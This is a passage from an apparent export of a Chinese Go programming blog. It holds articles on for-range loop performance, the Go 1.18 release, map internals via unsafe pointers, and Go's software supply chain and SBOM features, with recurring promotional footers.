BenchmarkForRangeLargeStructArrayU1(b *testing.B) { b.ReportAllocs() var arr [100000]U1 for i := 0; i \u0026lt; b.N; i++ { for j, v := range arr { arr[j].d = j _ = v } } } 在这个例子中，我们定义了5种结构体：U1~U5，它们的不同之处就在于包含的int类型字段的个数不同。我们分别用经典for loop与for range loop对以这些类型为元素的大型数组进行遍历，看看结果如何：\n$go test -bench . benchmark3_test.go goos: darwin goarch: amd64 cpu: Intel(R) Core(TM) i5-8257U CPU @ 1.40GHz BenchmarkClassicForLoopLargeStructArrayU5-8 22030 54116 ns/op 0 B/op 0 allocs/op BenchmarkClassicForLoopLargeStructArrayU4-8 22131 54145 ns/op 0 B/op 0 allocs/op BenchmarkClassicForLoopLargeStructArrayU3-8 22257 54001 ns/op 0 B/op 0 allocs/op BenchmarkClassicForLoopLargeStructArrayU2-8 22063 54580 ns/op 0 B/op 0 allocs/op BenchmarkClassicForLoopLargeStructArrayU1-8 22105 54408 ns/op 0 B/op 0 allocs/op BenchmarkForRangeLargeStructArrayU5-8 3022 391232 ns/op 0 B/op 0 allocs/op BenchmarkForRangeLargeStructArrayU4-8 4563 265919 ns/op 0 B/op 0 allocs/op BenchmarkForRangeLargeStructArrayU3-8 6602 182224 ns/op 0 B/op 0 allocs/op BenchmarkForRangeLargeStructArrayU2-8 10000 111966 ns/op 0 B/op 0 allocs/op BenchmarkForRangeLargeStructArrayU1-8 35380 34005 ns/op 0 B/op 0 allocs/op PASS ok command-line-arguments 15.907s 我们看到一个奇怪的现象：无论是哪种结构体类型，经典for loop遍历的性能都是一样的，但for range的遍历性能却会随着结构体字段数量的增多而下降。\n带着疑惑，我找到了与这个问题有关的一个issue：cmd/compile: optimize large structs，这个issue大致是说对于包含特定数量字段的结构体类型，目前是unSSAable，如果不能SSA，那么就无法通过SSA优化，这也是出现上述benchmark结果的重要原因。\n在Go中，几乎所有使用数组的地方都可以用切片替代，笔者还是建议尽量用迭代切片替换对数组的迭代，这样总是可以取得一致且稳定的遍历性能。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/03/19/for-range-vs-classic-for-loop-when-iterating-large-array/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/for-range-vs-classic-for-loop-when-iterating-large-array-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/03/19/for-range-vs-classic-for-loop-when-iterating-large-array\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/03/19/for-range-vs-classic-for-loop-when-iterating-large-array\"\u003ehttps://tonybai.com/2022/03/19/for-range-vs-classic-for-loop-when-iterating-large-array\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eGo语言推崇“\u003cstrong\u003e一件事情仅有一个作法\u003c/strong\u003e”！比如：Go仅保留一类循环控制语句，那就是\u003cstrong\u003e经典版的for loop\u003c/strong\u003e：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003efor i := 0; i \u0026lt; 100; i++ {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    ... ...\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e而像C语言支持的while、do…while等循环控制语句都被排除在Go简洁的语法之外。但为了方便Go开发者对复合数据类型的迭代，比如：数组、切片、channel以及map等，Go提供了一个变种for range loop，甚至对于map、channel进行遍历，仅能使用for range loop，经典版for loop根本不支持。\u003c/p\u003e","title":"针对大型数组的迭代，for range真的比经典for loop慢吗？"},{"content":"\n本文永久链接 – https://tonybai.com/2022/03/16/go-1-18-released\n美国时间2022年3月15日，Go核心团队官宣了Go 1.18版本正式版的发布！这是一个万众期待的版本，因为在这个版本中，Go核心团队做了Go语言开源以来的最大一次语法特性变更 – 增加了对泛型(generics)的支持！下面是对Go官博文章的全文翻译，供大家参考！\n今天，Go团队很高兴地发布了Go 1.18，你可以通过访问下载页面获得该版本。\nGo 1.18是一个真正的大版本，包括新功能特性、性能改进和我们对语言的最大改变。可以说Go 1.18的部分设计始于十年前我们首次发布Go语言的那个时候也并不夸张。\n泛型(Generics) 在Go 1.18版本中，我们引入了对使用参数化类型的泛型代码的新支持。支持泛型是Go最常被要求添加的功能特性，我们很自豪能够提供大多数用户目前需要的泛型支持。随后的版本将继续为一些更复杂的泛型用例提供额外支持。我们鼓励你使用我们的泛型教程来了解这个新功能，并探索使用泛型来优化和简化你的代码的最佳方法。Go 1.18版本发布说明中有关于在Go 1.18中使用泛型的更多细节。\n模糊测试(Fuzzing) 伴随着Go 1.18版本的发布，Go成为第一个将模糊测试(Fuzzing)完全集成到其标准工具链中的主要语言。与泛型一样，模糊测试的设计已经持续存在了很长时间，我们很高兴能在这个版本中与Go生态系统分享它。请查看我们的模糊测试教程，以帮助你开始使用这个新功能。\n工作区(Workspaces) 今天，Go module几乎已被普遍接纳和采用，Go用户在我们的年度调查中报告了非常高的满意度分数。在我们2021年的用户调查中，用户反馈go module的最常见的挑战是跨多个module工作。在Go 1.18中，我们通过新的Go工作区模式(Go workspace mode)解决了这一问题，这使得在多个module中工作变得简单。\n20%的性能改进 苹果M1、ARM64和PowerPC64用户肯定会欢欣鼓舞! 由于Go 1.17的寄存器ABI调用约定扩展到这些架构，Go 1.18的CPU性能提升幅度高达20%。为了强调这个版本的性能提升幅度，我们将20%的性能改进作为了第四个最重要的标题\n关于1.18中的所有内容的更详细描述，请查阅Go 1.18发布说明。\nGo 1.18是整个Go社区的一个巨大的里程碑。我们要感谢每一位提交错误、发送修改、编写教程或以任何方式帮助Go 1.18成为现实的Go用户。没有你们，我们无法做到这一点。谢谢你们。\n享受Go 1.18吧!\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/03/16/go-1-18-released/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/go-1-18-released-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/03/16/go-1-18-released\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/03/16/go-1-18-released\"\u003ehttps://tonybai.com/2022/03/16/go-1-18-released\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e美国时间2022年3月15日，Go核心团队官宣了\u003ca href=\"https://go.dev/blog/go1.18\"\u003eGo 1.18版本正式版的发布\u003c/a\u003e！这是一个万众期待的版本，因为在这个版本中，Go核心团队做了Go语言开源以来的最大一次语法特性变更 – \u003ca href=\"https://mp.weixin.qq.com/s/ur1eiZl4PKbF1PqELAdfKg\"\u003e增加了对泛型(generics)的支持\u003c/a\u003e！下面是对\u003ca href=\"https://go.dev/blog/go1.18\"\u003eGo官博文章\u003c/a\u003e的全文翻译，供大家参考！\u003c/p\u003e","title":"Go 1.18版本正式发布了"},{"content":"\n本文永久链接 – https://tonybai.com/2022/03/15/the-underlying-of-a-map-type-variable\n切片(slice)和map是Go语言中最常用的两种原生复合数据类型，同时也是最容易使初学者感觉迷惑和“掉坑”的两个类型，这很大程度是因为Go runtime层的存在。什么是Go runtime层？可以参考我在《Go语言第一课FAQ》中的解释。\n我们在Go用户源码层看到的切片与map是这样的：\nvar sl = make([]int, 3) var m = make(map[string]int) 但在runtime层，它们又是另一幅“样子”。Go用户源码层的切片和map类型的变量，我常将它们称为**“描述符”**，因为它们和linux平台上通过open系统调用打开的文件描述符的功用十分类似，都是某个大块头儿数据(比如：一个500M的文本数据)的“代言人”，避免了和外界交互时对底层数据的搬动与拷贝。\n很多人知道，在runtime层，切片是一个三元组结构（在我的“Go语言第一课”专栏中有单独一讲详细讲解），这里假定这个三元组结构为T，那么上面例子中通过make创建的切片m是类型T的实例还是*T的实例呢？很多人都知道答案：类型T的实例。\n同样看过我的专栏或《Go语言精进之路》一书的读者也都知道：map类型在runtime层的表示为runtime.hmap，那么，上面通过make创建的map[string]int类型变量m究竟就是hmap类型实例还是*hmap类型实例呢？可能有些朋友还不明确，这里我们就来简单探究一下。\n注：探究方法同样适用于切片类型。\nm是hmap类型实例还是*hmap类型实例呢？最直接的方法是看runtime包的源码。在runtime/map.go中，我们找到了对应make(map[string]int)的源码makemap(或makemap_small)：\nfunc makemap(t *maptype, hint int, h *hmap) *hmap func makemap_small() *hmap 我们看到：无论哪个函数返回的都是*hmap类型。到这里你的心里似乎有点倾向了，应该是*hmap。但还不那么确认。\n我们假设m是*hmap，那么根据Go指针类型的定义(关于Go指针，我在专栏《聊聊Go语言中的指针》一讲中有较为全面讲解)，Go为变量m分配的内存块中存储的值就应该是一个hmap实例的地址：\n也就是说给m分配一块可以存储指针值的内存块儿即可。这样我们就可以通过相邻变量间的地址间隔来判定m是否仅仅是一个指针大小的内存块了。我们看下面例子：\npackage main func main() { var a int = 5 println(\u0026#34;\u0026amp;a=\u0026#34;, \u0026amp;a) var m1 = make(map[string]int) println(\u0026#34;\u0026amp;m1=\u0026#34;, \u0026amp;m1) var m2 = make(map[string]int) println(\u0026#34;\u0026amp;m2=\u0026#34;, \u0026amp;m2) } 运行这个程序，输出结果如下：\n\u0026amp;a= 0xc000046558 \u0026amp;m1= 0xc000046568 \u0026amp;m2= 0xc000046560 由于这些变量都分配在栈上(通过go build -gcflags ‘-m’可判断是否逃逸)，我们用一幅图来展示一下上面示例中各个变量的内存块排列情况：\n从m1与m2两个map类型变量的地址间隔情况来看，间隔8个字节，也就是一个指针大小，基本可以断定m2是指针类型实例了。\n那么m是否是*hmap类型实例呢？如果是，我们是否可以通过对m的“解引用”得到该实例的值呢？我们下面试一下。\n由于hmap是runtime包的非导出类型，所以我们无法在用户层直接使用，考虑到hmap都是由一些基本类型字段组成并且与runtime包的其他类型关联不多，我这里直接将其相关源码copy到示例源码中备用了。\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;runtime\u0026#34; \u0026#34;unsafe\u0026#34; ) type hmap struct { count int // # live cells == size of map. Must be first (used by len() builtin) flags uint8 B uint8 // log_2 of # of buckets (can hold up to loadFactor * 2^B items) noverflow uint16 // approximate number of overflow buckets; see incrnoverflow for details hash0 uint32 // hash seed buckets unsafe.Pointer // array of 2^B Buckets. may be nil if count==0. oldbuckets unsafe.Pointer // previous bucket array of half the size, non-nil only when growing nevacuate uintptr // progress counter for evacuation (buckets less than this have been evacuated) extra *mapextra // optional fields } // mapextra holds fields that are not present on all maps. type mapextra struct { overflow *[]*bmap oldoverflow *[]*bmap nextOverflow *bmap } // A bucket for a Go map. type bmap struct { tophash [bucketCnt]uint8 } const ( // Maximum number of key/elem pairs a bucket can hold. bucketCntBits = 3 bucketCnt = 1 \u0026lt;\u0026lt; bucketCntBits ) func main() { m := make(map[string]int) m[\u0026#34;tony\u0026#34;] = 11 m[\u0026#34;bai\u0026#34;] = 12 p := (*hmap)(unsafe.Pointer(*(*uintptr)((unsafe.Pointer)(\u0026amp;m)))) fmt.Printf(\u0026#34;%#v\\n\u0026#34;, *p) } 这个例子中最难理解的就是变量p的声明与赋初值那一行，对于这一行我们分解来讲一下。\n首先，前面我们说过：map类型变量m是指针，其存储的是一个hmap类型实例的地址。通过\n*(*uintptr)((unsafe.Pointer)(\u0026amp;m)) 我们得到的是m指向的那个hmap类型实例的地址。\n然后通过将其转换为*hmap类型，我们就相当于直接得到了一个指向hmap类型实例地址的*hmap类型变量p。通过对p进行解引用，我们就能看到hmap结构体的内容了。运行上面代码我们得到下面输出结果：\nmain.hmap{count:2, flags:0x0, B:0x0, noverflow:0x0, hash0:0x42833520, buckets:(unsafe.Pointer)(0xc000072ea0), oldbuckets:(unsafe.Pointer)(nil), nevacuate:0x0, extra:(*main.mapextra)(nil)} 当我们看到输出结果中hmap.count这个字段(表示当前map中存储的键值对的个数)的值为2，我们就可以确定：m就是一个执行hmap结构体实例的指针这一结论是正确的。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/03/15/the-underlying-of-a-map-type-variable/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/the-underlying-of-a-map-type-variable-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/03/15/the-underlying-of-a-map-type-variable\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/03/15/the-underlying-of-a-map-type-variable\"\u003ehttps://tonybai.com/2022/03/15/the-underlying-of-a-map-type-variable\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e切片(slice)和map是Go语言中最常用的两种原生复合数据类型，同时也是最容易使初学者感觉迷惑和“掉坑”的两个类型，这很大程度是因为Go runtime层的存在。什么是Go runtime层？可以参考我在\u003ca href=\"https://tonybai.com/go-course-faq\"\u003e《Go语言第一课FAQ》\u003c/a\u003e中的解释。\u003c/p\u003e","title":"Go语言map类型变量背后的那些事儿"},{"content":"\n本文永久链接 – https://tonybai.com/2022/03/14/software-supply-chain-security-in-go\n在Go 12岁生日以及Go 1.18 beta1发布的博文中，Go核心团队技术负责人Russ Cox都提到了2022年Go团队将关注Go软件供应链安全，并在Go中为软件供应链提供相关工具。\n提到供应链，我们立马想到的它是制造业的存在，在软件开发领域中很少提及。但是近几年，软件领域安全问题频发，使得“供应链”一词在软件开发领域浮出水面，逐渐成为热词。那么，到底啥是软件供应链呢？Go对软件供应链安全的支持现状又是怎样的呢？本文我就来简单梳理一下。\n1. 什么是软件供应链？ 怎么理解软件供应链呢？\n传统供应链的概念可以理解为一个由各种组织、人员、技术、活动、信息和资源组成的将商品或服务从供应商转移到消费者手中的过程，这一过程从原材料开始，将其加工成中间组件乃至最终转移到消费者手中的最终产品。参考这一概念，软件供应链可以理解为软件和系统的从生产到交付全过程，是一套自动化、标准化及规模化的持续交付的流水线。通过设计和开发阶段，将生产完成的软件产品通过软件交付渠道从软件供应链运输给最终用户。\n如今，人们最关心的就是软件供应链的安全问题。根据软件供应链的定义，软件供应链安全可以被理解为软件生产的整个过程中软件设计与开发的各个阶段来自编码过程、工具、设备、供应商以及最终交付渠道所共同面临的安全问题。\n那究竟有哪些安全问题呢？作为专注于设计与实现的开发人员，我们更加专注于编码构建这一环节。在确定安全问题之前，我们先将前面的软件供应链的广义理解抛开，建立一个更为狭义的理解，即将软件供应链单纯视为以商业组件与开源组件等第三方组件的供应链条。在这一狭义的理解下，我们再来探讨安全问题的来由。\n在开源软件兴起之前，一个公司开发出的软件大多数都是经由公司招募的专职开发者一行一行码出来的，语言标准库、C运行时库、系统原生库等集成在编程语言工具和OS层面的组件除外。\n开源软件兴起后，无论是大厂巨头，还是小厂初创，都会基于大量的开源软件包来构建自己的产品。这些开源软件包呈现出多样化、复杂化的趋势。并且涉及的领域也十分广泛：从应用级库/包、开发工具、到中间件、到数据库、甚至操作系统以及设备固件。据Forrester 2021年发布的报告数据显示，开源代码占软件代码的比例从2015年到2019年的五年时间内几乎翻了一倍，如下图。\n2020年，这一比例更是上升到75%。\n开源软件包、组件与工具的广泛采用让企业的开发效率大幅提升的同时，也让软件供应链的风险不断增加。风险主要体现在下面几个方面：\n安全风险 开源软件正在呈现指数级增长。根据美国国家计算机安全中心(NCSC)公开的数据显示由世界最大的源代码管理平台GitHub托管的公共存储库数量从2009年2月的46000个激增到2020年1月的2800万个。由于开源软件之间的关联依赖关系变得日益复杂，开发人员很难对其依赖的开源包/组件的所有依赖链上的包/组件做出安全评估，这样一旦依赖链上的某一开源包/组件出现未知的安全漏洞，将会导致所有与之存在依赖关系的其他软件系统出现同样的漏洞，漏洞的攻击面将会由点及面呈现出爆炸式的放大效果。并且，即便很快发现安全漏洞，开源软件包的问题修复时间也较长，一般多在1天到一周甚至更多。甚至存在具有非法目的开发者故意预留后门的安全缺陷，攻击者通过将恶意代码注入为全球软件供应链提供组件的开源项目中，借助开源软件的“高信任度”和影响力，通过感染软件供应链的“上游”组件加速向“下游”扩散，从而产生更大的破坏性。\n知识产权风险 主要体现在对开源许可证的理解与是否在许可证的要求下使用开源软件包/组件。一旦误用，便会给企业带来知识产权上的风险，甚至风险发生，导致企业的真实损失。\n断供风险 由于国际政治原因以及大国博弈，一些大国通过实行严密的技术封锁，建立完善的出口管制法律制度体系，将本国的软件、硬件和技术列入出口管制清单，这回直接导致软件供应链的完整性遭遇严重的挑战。目前在我国，这已经是发生过的事实了。\n对于聚焦系统实现环节的开发者而言，安全风险始终是主要考虑的供应链风险。那么，通过哪些手段可以降低软件供应链的安全风险呢？我们继续向下看。\n2. 软件供应链的安全风险控制 在软件供应链风险控制这方面，不得不说，软件强国美国走在了世界的前面：\n美国政府在2008年颁布《国家网络安全综合倡议》（CNCI），要求在产品、系统和服务的整个生命周期内综合应对国内和全球供应链风险。 2009年奥巴马政府发布的《美国网络空间安全政策评估报告》将ICT供应链安全纳入国家安全范畴。 2012年，美国国土安全部发布首个国家层级的战略报告《全球供应链安全国家战略》，提出安全和高效两大目标。 2013年，美国国家标准和技术研究院（NIST）发布《联邦信息系统与机构供应链风险管理实践》。 2016年，国家网络安全促进委员会发布《加强国家网络安全—促进数字经济的安全与发展》。 2017年，美国国土安全部发布《供应链风险管理计划》 2018年，美国白宫发布《联邦信息技术供应链风险管理改进法案》。 2019年，特朗普签署《确保信息通信技术与服务供应链安全》行政令，禁止交易、使用可能对美国的国家安全、外交政策和经济构成特殊威胁的外国信息技术和服务。 2021年，美国商务部发布《确保信息和通信技术及服务供应链安全》的最新规则生效，对美国国家或公民构成不可接受之风险的外国对手的信息通信技术和服务(ICTS)交易所进行识别、评估和风险消除程序，从而决定是否禁止交易。 2021年5月12日，美国总统拜登发布《关于改善国家网络安全的行政命令》的14028号政令，明确要求联邦政府采取行动，迅速提高软件供应链的安全性和完整性。 我们重点关注一下2021年拜登的《关于改善国家网络安全的行政命令》行政令，该行政令的大多内容都致力于提高软件供应链的安全性，并特别要求政府软件应包含机器可读的软件物料清单(Software Bill Of Materials, SBOM)。\n什么是SBOM？它被定义为“包含构建软件使用的各种组件的详细信息和供应链关系的正式记录”。它不仅应该详细说明交付的组件，还应该详细说明用于交付软件的工具和框架。SBOM是开启软件开发透明和开放时代的基础。通过机器可读的SBOM，软件的消费者可以得知哪个版本的软件包可能会影响其产品的安全性，而无需依赖软件供应商的安全警报与补丁，并且基于SBOM，消费者能够实施自己的安全控制方案，这些控制方案还可以自动化执行。SBOM使得整个行业在享受开源带来的便利和效率的同时，还可以对安全风险进行更为有效的控制与治理。\n美国国家电信和信息管理局(NITA)在14028号政令的要求下，在2021年7月12日发布了《SBOM的最低要素》，该文档为各开发工具的组织和厂商提供了SBOM数据格式的参考。\n软件供应链安全的上下文的铺垫有些长！下面我们来聚焦一下Go，看看Go语言在降低软件供应链安全风险方面都提供了哪些支持。\n3. Go对软件供应链安全的支持情况 在GOPATH时代，Go即便想在降低软件供应链安全方面为开发者提供一些帮助可能也做不好，甚至是做不到。但Go module的引入扭转了这个局面。\n从1.13版本开始，Go命令在构建Go应用时会将其依赖的module版本信息嵌入到可执行程序中，同时从1.13版本开始，我们可以通过go version -m命令读取这些嵌入在可执行文件中的应用的module依赖信息。下面是一个例子：\n// sbom1.go package main import ( \u0026#34;time\u0026#34; \u0026#34;go.uber.org/zap\u0026#34; ) func main() { logger, _ := zap.NewProduction() defer logger.Sync() url := \u0026#34;http://tonybai.com\u0026#34; logger.Info(\u0026#34;failed to fetch URL\u0026#34;, // Structured context as strongly typed Field values. zap.String(\u0026#34;url\u0026#34;, url), zap.Int(\u0026#34;attempt\u0026#34;, 3), zap.Duration(\u0026#34;backoff\u0026#34;, time.Second), ) } 使用[Go 1.13, Go 1.17]集合中的Go版本编译上述例子后，可以通过go version -m读取依赖module列表信息：\n// 基于go 1.13.6编译sbom1.go $go build sbom1.go // 读取依赖module列表信息 $go version -m sbom1 sbom1: go1.13.6 path command-line-arguments mod demo1 (devel) dep go.uber.org/atomic v1.7.0 h1:ADUqmZGgLDDfbSL9ZmPxKTybcoEYHgpYfELNoN+7hsw= dep go.uber.org/multierr v1.6.0 h1:y6IPFStTAIT5Ytl7/XYmHvzXQ7S3g/IeZW9hyZ5thw4= dep go.uber.org/zap v1.21.0 h1:WefMeulhovoZ2sYXz7st6K0sLj7bBhpiFaud4r4zST8= 我们看到：读取的列表信息中不仅包含了sbom1.go的直接依赖module的版本信息，还包括了zap包的传递依赖的module的版本信息，也就是说通过这份信息，我们可以看到sbom1的所有第三方依赖的版本，换句话说对于sbom1的使用者而言，sbom1的构成信息是公开透明的。\n如果使用[go 1.11, go 1.12]集合中的Go版本编译上述例子，使用go 1.13及以上版本的go version -m查看可执行文件的依赖module信息是不会成功的：\n$go version -m sbom1 sbom1: could not read Go build info from sbom1: not a Go executable 上述嵌入到可执行文件中的依赖module列表信息，就是SBOM的一部分。当然按照上面提到的美国行政令对SBOM的要求：不仅应该详细说明交付的组件，还应该详细说明用于交付软件的工具和框架，仅嵌入这些信息还不够。\n于是Go 1.18版本又扩展了嵌入以及可被go version -m读取的信息范围，我们使用go 1.18rc1版本编译上面的sbom1.go并用go version -m读取得到的结果如下：\n// go 1.18rc1 $go build sbom1.go $go version -m sbom1 sbom1: go1.18rc1 path command-line-arguments dep go.uber.org/atomic v1.7.0 h1:ADUqmZGgLDDfbSL9ZmPxKTybcoEYHgpYfELNoN+7hsw= dep go.uber.org/multierr v1.6.0 h1:y6IPFStTAIT5Ytl7/XYmHvzXQ7S3g/IeZW9hyZ5thw4= dep go.uber.org/zap v1.21.0 h1:WefMeulhovoZ2sYXz7st6K0sLj7bBhpiFaud4r4zST8= build -compiler=gc build CGO_ENABLED=1 build CGO_CFLAGS= build CGO_CPPFLAGS= build CGO_CXXFLAGS= build CGO_LDFLAGS= build GOARCH=amd64 build GOOS=darwin build GOAMD64=v1 我们看到应用程序的构建信息也被嵌入到最终的可执行文件中了。\n当然，除了通过go version命令可以读取Go应用的SBOM信息外，Go还在标准库中提供了API用于读取Go应用可执行文件中嵌入的SBOM信息，看下面例子：\n// readsbom.go package main import ( \u0026#34;debug/buildinfo\u0026#34; \u0026#34;fmt\u0026#34; ) func main() { info, err := buildinfo.ReadFile(\u0026#34;./sbom1\u0026#34;) if err != nil { fmt.Println(\u0026#34;read buildinfo error:\u0026#34;, err) return } fmt.Printf(\u0026#34;%#v\\n\\n\u0026#34;, info) for _, d := range info.Deps { fmt.Printf(\u0026#34;%#v\\n\u0026#34;, *d) } } 运行这段例子：\n$go run readsbom.go \u0026amp;debug.BuildInfo{GoVersion:\u0026#34;go1.18rc1\u0026#34;, Path:\u0026#34;command-line-arguments\u0026#34;, Main:debug.Module{Path:\u0026#34;\u0026#34;, Version:\u0026#34;\u0026#34;, Sum:\u0026#34;\u0026#34;, Replace:(*debug.Module)(nil)}, Deps:[]*debug.Module{(*debug.Module)(0xc000026180), (*debug.Module)(0xc0000261c0), (*debug.Module)(0xc000026200)}, Settings:[]debug.BuildSetting{debug.BuildSetting{Key:\u0026#34;-compiler\u0026#34;, Value:\u0026#34;gc\u0026#34;}, debug.BuildSetting{Key:\u0026#34;CGO_ENABLED\u0026#34;, Value:\u0026#34;1\u0026#34;}, debug.BuildSetting{Key:\u0026#34;CGO_CFLAGS\u0026#34;, Value:\u0026#34;\u0026#34;}, debug.BuildSetting{Key:\u0026#34;CGO_CPPFLAGS\u0026#34;, Value:\u0026#34;\u0026#34;}, debug.BuildSetting{Key:\u0026#34;CGO_CXXFLAGS\u0026#34;, Value:\u0026#34;\u0026#34;}, debug.BuildSetting{Key:\u0026#34;CGO_LDFLAGS\u0026#34;, Value:\u0026#34;\u0026#34;}, debug.BuildSetting{Key:\u0026#34;GOARCH\u0026#34;, Value:\u0026#34;amd64\u0026#34;}, debug.BuildSetting{Key:\u0026#34;GOOS\u0026#34;, Value:\u0026#34;darwin\u0026#34;}, debug.BuildSetting{Key:\u0026#34;GOAMD64\u0026#34;, Value:\u0026#34;v1\u0026#34;}}} debug.Module{Path:\u0026#34;go.uber.org/atomic\u0026#34;, Version:\u0026#34;v1.7.0\u0026#34;, Sum:\u0026#34;h1:ADUqmZGgLDDfbSL9ZmPxKTybcoEYHgpYfELNoN+7hsw=\u0026#34;, Replace:(*debug.Module)(nil)} debug.Module{Path:\u0026#34;go.uber.org/multierr\u0026#34;, Version:\u0026#34;v1.6.0\u0026#34;, Sum:\u0026#34;h1:y6IPFStTAIT5Ytl7/XYmHvzXQ7S3g/IeZW9hyZ5thw4=\u0026#34;, Replace:(*debug.Module)(nil)} debug.Module{Path:\u0026#34;go.uber.org/zap\u0026#34;, Version:\u0026#34;v1.21.0\u0026#34;, Sum:\u0026#34;h1:WefMeulhovoZ2sYXz7st6K0sLj7bBhpiFaud4r4zST8=\u0026#34;, Replace:(*debug.Module)(nil)} 我们看到，通过debug/buildinfo包查看到的Go应用的SBOM信息与使用go version -m查到的信息是完全一致的。\n当然Go对软件供应链安全的支持措施还不仅这些，有了依赖module列表以及构建信息后，开发者还需要检测工具来检查这些“供应链上的组件”是否有安全风险。Go核心团队已经建立了Go vulnerability(漏洞) database，作为后续检测工具的漏洞数据库源。总体来说，Go核心团队对软件供应链安全提供的支持措施还在进行中(WIP)，以后甚至会在go命令中提供单独的子命令来对供应链上的组件实施检测。\n业界也有一些第三方的供应链安全检测工具，比如国内的“悬镜安全”就开源了一款用Go实现的软件组成分析工具OpenSCA-cli，它可基于漏洞数据库对各种语言实现的软件的供应链上的组件进行安全检测。\n4. 小结 现在看来，Go之所以积极推动SBOM的落地是因为美国法律的要求。\n针对美第14028号行政命令，美国的NIST发布了《开发者验证软件的最低标准指南(Guidelines on Minimum Standards for Developer Verification of Software)》。这份指南建议采取以下措施对软件进行安全验证：\n- 威胁建模以寻找设计层面的安全问题\n- 自动测试以保证一致性，并最大限度地减少人力投入\n- 静态代码扫描，寻找最重要的漏洞\n- 启发式工具来寻找可能存在的硬编码密钥\n- 使用内置的检查和保护措施\n- 使用”黑盒”测试用例\n- 基于代码的结构测试用例\n- 历史测试用例\n- 